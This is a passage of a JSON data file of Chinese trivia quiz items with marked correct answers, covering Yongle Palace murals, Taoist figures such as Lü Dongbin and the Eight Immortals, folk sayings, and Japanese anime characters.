04:00:29","status":"1"},{"questionId":"1901441733","questionIndex":"1","questionStem":"“五岳四渎”以下哪条河不是“四渎”之一?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsIeVncKsVPflZpFLxbFWX4XLNXg\",\"optionDesc\":\"淮河\"},{\"optionId\":\"Ks0Sx0BXjjmsIeVncKsVP1DlYEMUMrJt3r_d_g\",\"optionDesc\":\"珠江\"},{\"optionId\":\"Ks0Sx0BXjjmsIeVncKsVPHOjUbuBv2cOc9IKxw\",\"optionDesc\":\"济水\"}]","questionToken":"Ks0Sx0BXjjmsIeU1Y-MOasiZKc0ohbU1yeQzXAVJ9-v0PncqOJbk2xE7Eg1JZvWdNDUdx7Yi7W5Hd7HE7vKUPoFJvkzDfQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmsIeVncKsVP1DlYEMUMrJt3r_d_g\",\"optionDesc\":\"珠江\"}","create_time":"27/1/2021 04:44:57","update_time":"27/1/2021 04:44:57","status":"1"},{"questionId":"1901441734","questionIndex":"1","questionStem":"《朝元图》为何会将孔子纳入道教神仙体系?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsJuVncKsVPSnD77As3LgMvck\",\"optionDesc\":\"孔子当过道士\"},{\"optionId\":\"Ks0Sx0BXjjmsJuVncKsVP1aKVrvo_-g66B4\",\"optionDesc\":\"全真派主张三教合一\"},{\"optionId\":\"Ks0Sx0BXjjmsJuVncKsVPBwBOYmiHhEBXZw\",\"optionDesc\":\"孔子是老子的徒弟\"}]","questionToken":"Ks0Sx0BXjjmsJuU1Y-MObWoJjZ_XBm2I_sCwfDnHnUxS7KApkmhttNbKuY-nBKZpXimFKGd7yHvY7dROaQhR4d9mykrHqg","correct":"{\"optionId\":\"Ks0Sx0BXjjmsJuVncKsVP1aKVrvo_-g66B4\",\"optionDesc\":\"全真派主张三教合一\"}","create_time":"27/1/2021 04:41:03","update_time":"27/1/2021 04:41:03","status":"1"},{"questionId":"1901441735","questionIndex":"5","questionStem":"《朝元图》中男性帝王神仙戴的冠冕被称作?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsJ-VncKsVP5Ej9Zw8ISaxF2aL\",\"optionDesc\":\"冕旒\"},{\"optionId\":\"Ks0Sx0BXjjmsJ-VncKsVPAIwBVS7yGswoMjw\",\"optionDesc\":\"展脚幞头\"},{\"optionId\":\"Ks0Sx0BXjjmsJ-VncKsVPUNCJPxcDyTj4er5\",\"optionDesc\":\"皇冠\"}]","questionToken":"Ks0Sx0BXjjmsJ-UxY-MOaqzMueR3sibIJhlw_fOxHm5r6Ky19L4pjBqKIUbX1bcENVK-uAIRNvyHxEDVjlAQcx2O8pEJ6w","correct":"{\"optionId\":\"Ks0Sx0BXjjmsJ-VncKsVP5Ej9Zw8ISaxF2aL\",\"optionDesc\":\"冕旒\"}","create_time":"27/1/2021 04:43:53","update_time":"27/1/2021 04:43:53","status":"1"},{"questionId":"1901441736","questionIndex":"5","questionStem":"以下哪种服饰或冠帽不属于宋元时期?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsJOVncKsVPPDNuHzCv4iGXCs3ww\",\"optionDesc\":\"直裰\"},{\"optionId\":\"Ks0Sx0BXjjmsJOVncKsVP1hy6ATEcevuCH7amg\",\"optionDesc\":\"飞鱼服\"},{\"optionId\":\"Ks0Sx0BXjjmsJOVncKsVPZeJM8F91EWKpI4kiQ\",\"optionDesc\":\"东坡巾\"}]","questionToken":"Ks0Sx0BXjjmsJOUxY-MOap8aS4uve0NZWas_0BhOfTwNtsFcdai10JIB2nn0A6dqScvjHxFk8HyX2MLP_D_kD80BP5ItBw","correct":"{\"optionId\":\"Ks0Sx0BXjjmsJOVncKsVP1hy6ATEcevuCH7amg\",\"optionDesc\":\"飞鱼服\"}","create_time":"27/1/2021 04:50:48","update_time":"27/1/2021 04:50:48","status":"1"},{"questionId":"1901441737","questionIndex":"5","questionStem":"以下哪种花卉水果不在《朝元图》中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsJeVncKsVPdFV3DHlpeuztVjjnA\",\"optionDesc\":\"莲花\"},{\"optionId\":\"Ks0Sx0BXjjmsJeVncKsVPL9CC5ifUe64FMk7ew\",\"optionDesc\":\"蟠桃\"},{\"optionId\":\"Ks0Sx0BXjjmsJeVncKsVPzMRgEfPkGfpNm7Vpw\",\"optionDesc\":\"圣女果\"}]","questionToken":"Ks0Sx0BXjjmsJeUxY-MOaqp3djZR5ywN0fD0ZXHiFg94s9GxXaVAyf44VKWhGlqIqb9pBQBYmAveotz3GUZs17wtMGBYOA","correct":"{\"optionId\":\"Ks0Sx0BXjjmsJeVncKsVPzMRgEfPkGfpNm7Vpw\",\"optionDesc\":\"圣女果\"}","create_time":"27/1/2021 04:51:55","update_time":"27/1/2021 04:51:55","status":"1"},{"questionId":"1901441738","questionIndex":"2","questionStem":"吕洞宾故事的壁画位于永乐宫的哪个建筑中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsKuVncKsVPN8Scs0Uf_7Hu0oxfw\",\"optionDesc\":\"重阳殿\"},{\"optionId\":\"Ks0Sx0BXjjmsKuVncKsVPSBC2t6UvbTCiVoQNw\",\"optionDesc\":\"三清殿\"},{\"optionId\":\"Ks0Sx0BXjjmsKuVncKsVPxeNmQM1wiF0pa-d_Q\",\"optionDesc\":\"纯阳殿\"}]","questionToken":"Ks0Sx0BXjjmsKuU2Y-MObSSwN_TqxreMMI-NrPXVKttXkiSGkZH2Em0pBa_aPqXQU9MVmtsYDCblOUtOpkiWCc7GurUK-g","correct":"{\"optionId\":\"Ks0Sx0BXjjmsKuVncKsVPxeNmQM1wiF0pa-d_Q\",\"optionDesc\":\"纯阳殿\"}","create_time":"27/1/2021 04:48:27","update_time":"27/1/2021 04:48:27","status":"1"},{"questionId":"1901441739","questionIndex":"2","questionStem":"吕洞宾最擅长的武器/法器是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsK-VncKsVP62Y7bD5WGeftrbrTg\",\"optionDesc\":\"宝剑\"},{\"optionId\":\"Ks0Sx0BXjjmsK-VncKsVPOgd8stKxZZ-tGARoA\",\"optionDesc\":\"葫芦\"},{\"optionId\":\"Ks0Sx0BXjjmsK-VncKsVPV8wGcC6O7oIRttLIg\",\"optionDesc\":\"莲花\"}]","questionToken":"Ks0Sx0BXjjmsK-U2Y-MOasOoxsmtQ5T1qOvikwGuGmBQrkhmfWibzoM3P-Y4M_UseW_o2c8G31Qetq-0K--DKOf0jXroAg","correct":"{\"optionId\":\"Ks0Sx0BXjjmsK-VncKsVP62Y7bD5WGeftrbrTg\",\"optionDesc\":\"宝剑\"}","create_time":"27/1/2021 04:48:38","update_time":"27/1/2021 04:48:38","status":"1"},{"questionId":"1901441740","questionIndex":"3","questionStem":"吕洞宾的道号是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrIuVncKsVPE91ye3XeSGfA_Y\",\"optionDesc\":\"重阳子\"},{\"optionId\":\"Ks0Sx0BXjjmrIuVncKsVPZFVeuTn9xUgToM\",\"optionDesc\":\"抱朴子\"},{\"optionId\":\"Ks0Sx0BXjjmrIuVncKsVPw5LyZiIxQOqD9A\",\"optionDesc\":\"纯阳子\"}]","questionToken":"Ks0Sx0BXjjmrIuU3Y-MObTAlrUqJOOPry7L0O7dQKy3HBi086a5QNR_yPZPL-lpCjSqU2VspXrwQEsDKmZ3RmVYHiIkalQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmrIuVncKsVPw5LyZiIxQOqD9A\",\"optionDesc\":\"纯阳子\"}","create_time":"27/1/2021 04:36:49","update_time":"27/1/2021 04:36:49","status":"1"},{"questionId":"1901441741","questionIndex":"2","questionStem":"吕洞宾修行及教义被哪个道教门派所继承?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrI-VncKsVPL4tQ7QJqjjaDeE\",\"optionDesc\":\"正一派\"},{\"optionId\":\"Ks0Sx0BXjjmrI-VncKsVPQzVvgSay8EFD80\",\"optionDesc\":\"武当派\"},{\"optionId\":\"Ks0Sx0BXjjmrI-VncKsVP1XXKcf_2T803D0\",\"optionDesc\":\"全真派\"}]","questionToken":"Ks0Sx0BXjjmrI-U2Y-MOba1tNuw_XyACRSEJ0d-Tf4wTAvAHRtdUlkwvksfhU4rMOjJkNIcNtRoqlzLgj1Zz4tKRZj05OQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmrI-VncKsVP1XXKcf_2T803D0\",\"optionDesc\":\"全真派\"}","create_time":"27/1/2021 04:41:04","update_time":"27/1/2021 04:41:04","status":"1"},{"questionId":"1901441742","questionIndex":"1","questionStem":"歇后语“狗咬吕洞宾”的下半句是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrIOVncKsVPYCOvtLZUSvdAsRMOg\",\"optionDesc\":\"有去无回\"},{\"optionId\":\"Ks0Sx0BXjjmrIOVncKsVP7VkMLBpnOo8ctkhrw\",\"optionDesc\":\"不识好人心\"},{\"optionId\":\"Ks0Sx0BXjjmrIOVncKsVPEkTyMzFE4ANghPhiQ\",\"optionDesc\":\"多管闲事\"}]","questionToken":"Ks0Sx0BXjjmrIOU1Y-MOamhSjXhCw_512CDiUOpxytFEEsm4Kupm_PR2PPxJSzSMdasVVzZ2ouccaJPWp37VbtexHNjS4g","correct":"{\"optionId\":\"Ks0Sx0BXjjmrIOVncKsVP7VkMLBpnOo8ctkhrw\",\"optionDesc\":\"不识好人心\"}","create_time":"27/1/2021 04:48:56","update_time":"27/1/2021 04:48:56","status":"1"},{"questionId":"1901441743","questionIndex":"5","questionStem":"八仙中不包括以下哪位?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrIeVncKsVPd2iZ0eMl71t2Oit_Q\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"Ks0Sx0BXjjmrIeVncKsVP3XTvKbyCBMrxSrNMw\",\"optionDesc\":\"张真人\"},{\"optionId\":\"Ks0Sx0BXjjmrIeVncKsVPAS4oMSGdHoiZkKeQw\",\"optionDesc\":\"何仙姑\"}]","questionToken":"Ks0Sx0BXjjmrIeUxY-MObYgu28Mm59i7U04AZpzEITMVv-V62uTojmAN98kcDOtqnNcqMLogLlwdRudUGLZmCm6VqjwI4Q","correct":"{\"optionId\":\"Ks0Sx0BXjjmrIeVncKsVP3XTvKbyCBMrxSrNMw\",\"optionDesc\":\"张真人\"}","create_time":"27/1/2021 04:49:35","update_time":"27/1/2021 04:49:35","status":"1"},{"questionId":"1901441744","questionIndex":"4","questionStem":"歇后语“八仙过海”的下半句是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrJuVncKsVP2vStrZrm_e9echR8A\",\"optionDesc\":\"各显神通\"},{\"optionId\":\"Ks0Sx0BXjjmrJuVncKsVPKz8UaBFfb7UJkLSLw\",\"optionDesc\":\"自身难保\"},{\"optionId\":\"Ks0Sx0BXjjmrJuVncKsVPR3Wtg9BasLOAhxYeQ\",\"optionDesc\":\"走为上计\"}]","questionToken":"Ks0Sx0BXjjmrJuUwY-MObaj--XRFvu-cOOO8mWQhbvvE1kVRQ8u0FhJbwudFl7z9q2QbnYoE39JR0N-ByeO9vsr9a4sQUg","correct":"{\"optionId\":\"Ks0Sx0BXjjmrJuVncKsVP2vStrZrm_e9echR8A\",\"optionDesc\":\"各显神通\"}","create_time":"27/1/2021 03:37:12","update_time":"27/1/2021 03:37:12","status":"1"},{"questionId":"1901441745","questionIndex":"1","questionStem":"八仙中唯一的一位女神仙是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrJ-VncKsVPD7x50G0swmfJTAE\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"Ks0Sx0BXjjmrJ-VncKsVPS3wh6Jx5CwL36y_\",\"optionDesc\":\"韩湘子\"},{\"optionId\":\"Ks0Sx0BXjjmrJ-VncKsVPztMg9K__h2LTgES\",\"optionDesc\":\"何仙姑\"}]","questionToken":"Ks0Sx0BXjjmrJ-U1Y-MOaneI5DnIjZ-m4Tus6bWzzmNNKL9vsOBZ4-qIzeoo9JpcitcnzONxmyYm_JS6FnIQIDmHd8nJ9w","correct":"{\"optionId\":\"Ks0Sx0BXjjmrJ-VncKsVPztMg9K__h2LTgES\",\"optionDesc\":\"何仙姑\"}","create_time":"27/1/2021 04:44:15","update_time":"27/1/2021 04:44:15","status":"1"},{"questionId":"1901441746","questionIndex":"3","questionStem":"永乐宫最早是为了纪念哪位道教名人所建的?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrJOVncKsVP49r0GVkDTnt8gFp\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"Ks0Sx0BXjjmrJOVncKsVPd_UVe74_Ce2PldO\",\"optionDesc\":\"丘处机\"},{\"optionId\":\"Ks0Sx0BXjjmrJOVncKsVPC8UbsZrGeb1s-Xh\",\"optionDesc\":\"王重阳\"}]","questionToken":"Ks0Sx0BXjjmrJOU3Y-MOanrx6-LHocxCMROqpRGS_BhqP6fI5Soa7SsWBWGDqa-VMKKaVicyG0QvM73zRTFGwwIJH5qNOw","correct":"{\"optionId\":\"Ks0Sx0BXjjmrJOVncKsVP49r0GVkDTnt8gFp\",\"optionDesc\":\"吕洞宾\"}","create_time":"27/1/2021 04:38:08","update_time":"27/1/2021 04:38:08","status":"1"},{"questionId":"1901441747","questionIndex":"2","questionStem":"永乐宫的《八仙过海》壁画中缺少哪位八仙?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrJeVncKsVPFkKjis_GhR8jOPc\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"Ks0Sx0BXjjmrJeVncKsVP9BxAcVRrGdfD4UX\",\"optionDesc\":\"何仙姑\"},{\"optionId\":\"Ks0Sx0BXjjmrJeVncKsVPdJUV5Wml0QQNXOS\",\"optionDesc\":\"曹国舅\"}]","questionToken":"Ks0Sx0BXjjmrJeU2Y-MOagcMuni4ngqiZCM7GMhsnjb7v-KTO_EPX7FhCzUkHgOwc1gw2aeuSszx_hRdL3rvnrP5-w321A","correct":"{\"optionId\":\"Ks0Sx0BXjjmrJeVncKsVP9BxAcVRrGdfD4UX\",\"optionDesc\":\"何仙姑\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"1901441748","questionIndex":"2","questionStem":"歇后语“张果老骑驴看本”的下半句是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrKuVncKsVP0swZR-GwDpIlDQKuA\",\"optionDesc\":\"走着瞧\"},{\"optionId\":\"Ks0Sx0BXjjmrKuVncKsVPWJaZR7KTflNgZMogg\",\"optionDesc\":\"神魂颠倒\"},{\"optionId\":\"Ks0Sx0BXjjmrKuVncKsVPFJrQJ05GiAGSkEgHg\",\"optionDesc\":\"不识好人心\"}]","questionToken":"Ks0Sx0BXjjmrKuU2Y-MOampR_4H4XZ5XMHrAobGUJ1UaE2biqrbxMWHJstBr9CNJUWiMVCVDjZ37k_Q-eW7WFFcXJVOVlg","correct":"{\"optionId\":\"Ks0Sx0BXjjmrKuVncKsVP0swZR-GwDpIlDQKuA\",\"optionDesc\":\"走着瞧\"}","create_time":"27/1/2021 04:41:25","update_time":"27/1/2021 04:41:25","status":"1"},{"questionId":"1901442070","questionIndex":"3","questionStem":"犬夜叉的妖刀叫什么?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hZtVSsiu3JiFhJkhUJCSEUmU\",\"optionDesc\":\"银碎牙\"},{\"optionId\":\"Ks0Sx0BXjT6hZtVSsiu3J7MnFTHf7HIAV9s\",\"optionDesc\":\"金碎牙\"},{\"optionId\":\"Ks0Sx0BXjT6hZtVSsiu3JFJsib3Z6YqzZDg\",\"optionDesc\":\"铁碎牙\"}]","questionToken":"Ks0Sx0BXjT6hZtUCoWOsdhf0aczpfOV2V7AST8tQl6YOmkG5lrbQq-B1zpHHJ4j0WjP-fJzpUX8prWxT4y89uZ9-IQgccw","correct":"{\"optionId\":\"Ks0Sx0BXjT6hZtVSsiu3JFJsib3Z6YqzZDg\",\"optionDesc\":\"铁碎牙\"}","create_time":"27/1/2021 04:36:17","update_time":"27/1/2021 04:36:17","status":"1"},{"questionId":"1901442071","questionIndex":"5","questionStem":"“真相只有一个”在哪部动漫最经典?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hZ9VSsiu3JAcfo4Uk6GhKZbpB\",\"optionDesc\":\"名侦探柯南\"},{\"optionId\":\"Ks0Sx0BXjT6hZ9VSsiu3Jr-V2Bo2efD9T1h3\",\"optionDesc\":\"左目侦探EYE\"},{\"optionId\":\"Ks0Sx0BXjT6hZ9VSsiu3J5KHMoJb-OSNJ0WJ\",\"optionDesc\":\"侦探学院\"}]","questionToken":"Ks0Sx0BXjT6hZ9UEoWOsdoy6kf9CgC3WH0emfzZhbHrA2FH1Lua3Tc4C9uGkGxw7_XbcaB1K6AWs_qaWRQH_TP1OZZN_rA","correct":"{\"optionId\":\"Ks0Sx0BXjT6hZ9VSsiu3JAcfo4Uk6GhKZbpB\",\"optionDesc\":\"名侦探柯南\"}","create_time":"27/1/2021 04:48:44","update_time":"27/1/2021 04:48:44","status":"1"},{"questionId":"1901442072","questionIndex":"1","questionStem":"“代表月亮消灭你”出自哪部动漫?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hZNVSsiu3Jz4PTA1iubLtqAw\",\"optionDesc\":\"会长是女仆\"},{\"optionId\":\"Ks0Sx0BXjT6hZNVSsiu3JJUOKtBdIyOHdbY\",\"optionDesc\":\"美少女战士\"},{\"optionId\":\"Ks0Sx0BXjT6hZNVSsiu3Jl085h60BKz7Uxw\",\"optionDesc\":\"天堂之吻\"}]","questionToken":"Ks0Sx0BXjT6hZNUAoWOsdoN3Dwq-He9ix5Fq27d1L_Kml3eKt9vce5S_hgtALsR-acyOJ4S_f3MH6tUp4k6UBBQ63iab3w","correct":"{\"optionId\":\"Ks0Sx0BXjT6hZNVSsiu3JJUOKtBdIyOHdbY\",\"optionDesc\":\"美少女战士\"}","create_time":"27/1/2021 04:44:51","update_time":"27/1/2021 04:44:51","status":"1"},{"questionId":"1901442073","questionIndex":"2","questionStem":"《死神》的主角叫什么名字?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hZdVSsiu3JPrlNVYh0ow5xsk\",\"optionDesc\":\"黑崎一护\"},{\"optionId\":\"Ks0Sx0BXjT6hZdVSsiu3Jy5dydRpsAqiXME\",\"optionDesc\":\"黑崎一心\"},{\"optionId\":\"Ks0Sx0BXjT6hZdVSsiu3JjZAYo95eWcQycI\",\"optionDesc\":\"东石郎\"}]","questionToken":"Ks0Sx0BXjT6hZdUDoWOsdrxjLxsI21YYDf4-ldAx7Vl9QL7G9WPY7r-CIP6wS630A9-tMCuPdZV3xTfBJ485Xg6ix6hLng","correct":"{\"optionId\":\"Ks0Sx0BXjT6hZdVSsiu3JPrlNVYh0ow5xsk\",\"optionDesc\":\"黑崎一护\"}","create_time":"27/1/2021 04:48:50","update_time":"27/1/2021 04:48:50","status":"1"},{"questionId":"1901442074","questionIndex":"4","questionStem":"火影忍者的男一号是谁?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hYtVSsiu3JnRFSS-uMzlb-JXR\",\"optionDesc\":\"自来也\"},{\"optionId\":\"Ks0Sx0BXjT6hYtVSsiu3J0O7Yr5nztx_rRPj\",\"optionDesc\":\"卡卡西\"},{\"optionId\":\"Ks0Sx0BXjT6hYtVSsiu3JA7UzLzmPHSGWjWG\",\"optionDesc\":\"鸣人\"}]","questionToken":"Ks0Sx0BXjT6hYtUFoWOsdpz5hb7Y4a9vW5xAI0NtG0ji7CJTGTJGx2QouxjXax5_pqWhM85an7ka3SQ698NCBVJimc62pQ","correct":"{\"optionId\":\"Ks0Sx0BXjT6hYtVSsiu3JA7UzLzmPHSGWjWG\",\"optionDesc\":\"鸣人\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 04:37:28","status":"1"},{"questionId":"1901442075","questionIndex":"5","questionStem":"航海王(海贼王)的男一号是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hY9VSsiu3JGD6HY_wbOuSJSHL_g\",\"optionDesc\":\"路飞\"},{\"optionId\":\"Ks0Sx0BXjT6hY9VSsiu3J5Dhp2QlLH1byqvatQ\",\"optionDesc\":\"甚平\"},{\"optionId\":\"Ks0Sx0BXjT6hY9VSsiu3JkTGiyD0wsziKmrXnA\",\"optionDesc\":\"琦玉\"}]","questionToken":"Ks0Sx0BXjT6hY9UEoWOscZIk9gyEQlSQAIBpTmjeBEivgI8biqj4q4ub-LUiGYvtWpKATxzoUpAocBPkQ9QCkUcJCFLiHw","correct":"{\"optionId\":\"Ks0Sx0BXjT6hY9VSsiu3JGD6HY_wbOuSJSHL_g\",\"optionDesc\":\"路飞\"}","create_time":"27/1/2021 04:34:40","update_time":"27/1/2021 04:34:40","status":"1"},{"questionId":"1901442076","questionIndex":"2","questionStem":"宠物小精灵里,小智的第一只精灵是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hYNVSsiu3J_cKbh7OFQc6-Xk4\",\"optionDesc\":\"妙蛙种子\"},{\"optionId\":\"Ks0Sx0BXjT6hYNVSsiu3JNMpoJi5-QPdXdt5\",\"optionDesc\":\"皮卡丘\"},{\"optionId\":\"Ks0Sx0BXjT6hYNVSsiu3Jkp885fga4TDq-qo\",\"optionDesc\":\"小火龙\"}]","questionToken":"Ks0Sx0BXjT6hYNUDoWOscfqPacmXqijlqxhgyNH37FPOGVZAR0MLo2lRYLrgRqbdDzkB7C_XmOP33VC8ARYKVuGsiOLM2g","correct":"{\"optionId\":\"Ks0Sx0BXjT6hYNVSsiu3JNMpoJi5-QPdXdt5\",\"optionDesc\":\"皮卡丘\"}","create_time":"27/1/2021 04:47:32","update_time":"27/1/2021 04:47:32","status":"1"},{"questionId":"1901442077","questionIndex":"1","questionStem":"灌篮高手中,谁是湘北女生眼中的王子?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hYdVSsiu3JqNskQWKiChuYFmh\",\"optionDesc\":\"赤司\"},{\"optionId\":\"Ks0Sx0BXjT6hYdVSsiu3JKrW3GY3V9AamMYM\",\"optionDesc\":\"流川枫\"},{\"optionId\":\"Ks0Sx0BXjT6hYdVSsiu3JwUmIft0inKuk9_o\",\"optionDesc\":\"仙道\"}]","questionToken":"Ks0Sx0BXjT6hYdUAoWOscckPw3u6QkOIOi-Q-INLQVRfKaohhafYrZkTtxhi1n4a-nHQmNTw1RKD9w7CwsDSOVHiywz2xQ","correct":"{\"optionId\":\"Ks0Sx0BXjT6hYdVSsiu3JKrW3GY3V9AamMYM\",\"optionDesc\":\"流川枫\"}","create_time":"27/1/2021 04:53:34","update_time":"27/1/2021 04:53:34","status":"1"},{"questionId":"1901442078","questionIndex":"5","questionStem":"蜡笔小新的妹妹叫什么?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hbtVSsiu3JInHEvt4uLgbUWIWpw\",\"optionDesc\":\"小葵\"},{\"optionId\":\"Ks0Sx0BXjT6hbtVSsiu3J-jFwuH2ghRcyebtSg\",\"optionDesc\":\"妮妮\"},{\"optionId\":\"Ks0Sx0BXjT6hbtVSsiu3JhW61RKJ3at-VxSLQw\",\"optionDesc\":\"美伢\"}]","questionToken":"Ks0Sx0BXjT6hbtUEoWOsdrXaFm-oGDwEQFhbnH88bf07UXAXNpkSFavTxJh9sZIK_SjpQxMrVZhnGV2f0TlZGxBNd6nMlg","correct":"{\"optionId\":\"Ks0Sx0BXjT6hbtVSsiu3JInHEvt4uLgbUWIWpw\",\"optionDesc\":\"小葵\"}","create_time":"27/1/2021 04:34:26","update_time":"27/1/2021 04:34:26","status":"1"},{"questionId":"1901442079","questionIndex":"4","questionStem":"樱桃小丸子中,丸尾怎么称呼她妈?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hb9VSsiu3JLR4mpIMeHKQpbWdmA\",\"optionDesc\":\"母亲大人\"},{\"optionId\":\"Ks0Sx0BXjT6hb9VSsiu3Jgh0gmSJEYrhMMhbLw\",\"optionDesc\":\"老妈\"},{\"optionId\":\"Ks0Sx0BXjT6hb9VSsiu3J5LhCglEUHXzciCHMg\",\"optionDesc\":\"妈\"}]","questionToken":"Ks0Sx0BXjT6hb9UFoWOsdvvk6o899xKFbhjiGVoYXEU7KQ9wCtpOmFI5_DiDy03NAYqqZF5vyBG7Z97u-NZTBmOSyjtyMg","correct":"{\"optionId\":\"Ks0Sx0BXjT6hb9VSsiu3JLR4mpIMeHKQpbWdmA\",\"optionDesc\":\"母亲大人\"}","create_time":"27/1/2021 04:40:39","update_time":"27/1/2021 04:40:39","status":"1"},{"questionId":"1901442081","questionIndex":"3","questionStem":"七龙珠里,悟空的第二个孩子叫什么?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uZ9VSsiu3J_d5AWH2f4yI37M\",\"optionDesc\":\"悟饭\"},{\"optionId\":\"Ks0Sx0BXjT6uZ9VSsiu3JpKFcTGPHxrtr3U\",\"optionDesc\":\"小芳\"},{\"optionId\":\"Ks0Sx0BXjT6uZ9VSsiu3JLXc1k0SPgLH_cs\",\"optionDesc\":\"悟天\"}]","questionToken":"Ks0Sx0BXjT6uZ9UCoWOscSapuQi1n5mrdM5G1p6x7C8bDY8bZOZRWp3ZFyGF2FVAFDTQHW8r9sbe8F4cSyKVBIU0o96F6A","correct":"{\"optionId\":\"Ks0Sx0BXjT6uZ9VSsiu3JLXc1k0SPgLH_cs\",\"optionDesc\":\"悟天\"}","create_time":"27/1/2021 04:40:41","update_time":"27/1/2021 04:40:41","status":"1"},{"questionId":"1901442082","questionIndex":"2","questionStem":"妖精的尾巴中纳兹所在世界外另一个世界叫?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uZNVSsiu3JhN3RRz5HW7X9l-UMQ\",\"optionDesc\":\"阿斯兰特\"},{\"optionId\":\"Ks0Sx0BXjT6uZNVSsiu3JEJVrfGMxaGmQ0YUKQ\",\"optionDesc\":\"艾德拉斯\"},{\"optionId\":\"Ks0Sx0BXjT6uZNVSsiu3J28jiwnqNlidIE9zHg\",\"optionDesc\":\"艾斯兰登\"}]","questionToken":"Ks0Sx0BXjT6uZNUDoWOscb0ChxTG7C4Ynx_iutOjSlQUZ-vywuunDQscUd2YR8wL5D755y6KIBwDrQj5SPo7WfIgrW9v3A","correct":"{\"optionId\":\"Ks0Sx0BXjT6uZNVSsiu3JEJVrfGMxaGmQ0YUKQ\",\"optionDesc\":\"艾德拉斯\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"1901442083","questionIndex":"5","questionStem":"《刀剑神域》中桐人在SAO里的独特技能是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uZdVSsiu3JhL6hSEdS6fgX06N\",\"optionDesc\":\"狂暴补师\"},{\"optionId\":\"Ks0Sx0BXjT6uZdVSsiu3JBc3YF3ZlgNtwmcS\",\"optionDesc\":\"二刀流\"},{\"optionId\":\"Ks0Sx0BXjT6uZdVSsiu3J42l-di1uImyM3ZL\",\"optionDesc\":\"圣骑士\"}]","questionToken":"Ks0Sx0BXjT6uZdUEoWOscTfF-VhwJQNsIPmWCLTLr8BHlejiZ9fndq9WvyHX1mRfRL9tCFo5TQ7lEx56g0O5hHMj3T8gYA","correct":"{\"optionId\":\"Ks0Sx0BXjT6uZdVSsiu3JBc3YF3ZlgNtwmcS\",\"optionDesc\":\"二刀流\"}","create_time":"27/1/2021 04:47:32","update_time":"27/1/2021 04:47:32","status":"1"},{"questionId":"1901442084","questionIndex":"1","questionStem":"火影忍者中第一个开启永恒万花筒写轮眼的是","options":"[{\"optionId\":\"Ks0Sx0BXjT6uYtVSsiu3J7BicfzFvnk1JnM3ow\",\"optionDesc\":\"宇智波带土\"},{\"optionId\":\"Ks0Sx0BXjT6uYtVSsiu3JssrYZ2vE1xlCoSKSQ\",\"optionDesc\":\"宇智波鼬\"},{\"optionId\":\"Ks0Sx0BXjT6uYtVSsiu3JLk_apDBNB3XG6JXuA\",\"optionDesc\":\"宇智波斑\"}]","questionToken":"Ks0Sx0BXjT6uYtUAoWOsdh6YKVGeSRiSxhju0m3ENZkxQvcRrqlJTfiQuVKQlPJ7oII6BSd7HTTGXi9qrZd4tuA6C4kUPg","correct":"{\"optionId\":\"Ks0Sx0BXjT6uYtVSsiu3JLk_apDBNB3XG6JXuA\",\"optionDesc\":\"宇智波斑\"}","create_time":"27/1/2021 04:33:17","update_time":"27/1/2021 04:33:17","status":"1"},{"questionId":"1901442085","questionIndex":"1","questionStem":"《反叛的鲁路修》中谁有令时间定格的能力?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uY9VSsiu3J5ZaEWrdAV64NTNB\",\"optionDesc\":\"V.V\"},{\"optionId\":\"Ks0Sx0BXjT6uY9VSsiu3JoLeZZgyUC3X1P8Z\",\"optionDesc\":\"鲁路修\"},{\"optionId\":\"Ks0Sx0BXjT6uY9VSsiu3JJoxhkm2X8leM56P\",\"optionDesc\":\"洛洛\"}]","questionToken":"Ks0Sx0BXjT6uY9UAoWOscfcYabUR1n5HUI6UfTpVtCpJv9DyZ9LmMjgVIdcjjn9lZNHkFPLSsaGK6JvCsHaE0863A8UW_Q","correct":"{\"optionId\":\"Ks0Sx0BXjT6uY9VSsiu3JJoxhkm2X8leM56P\",\"optionDesc\":\"洛洛\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 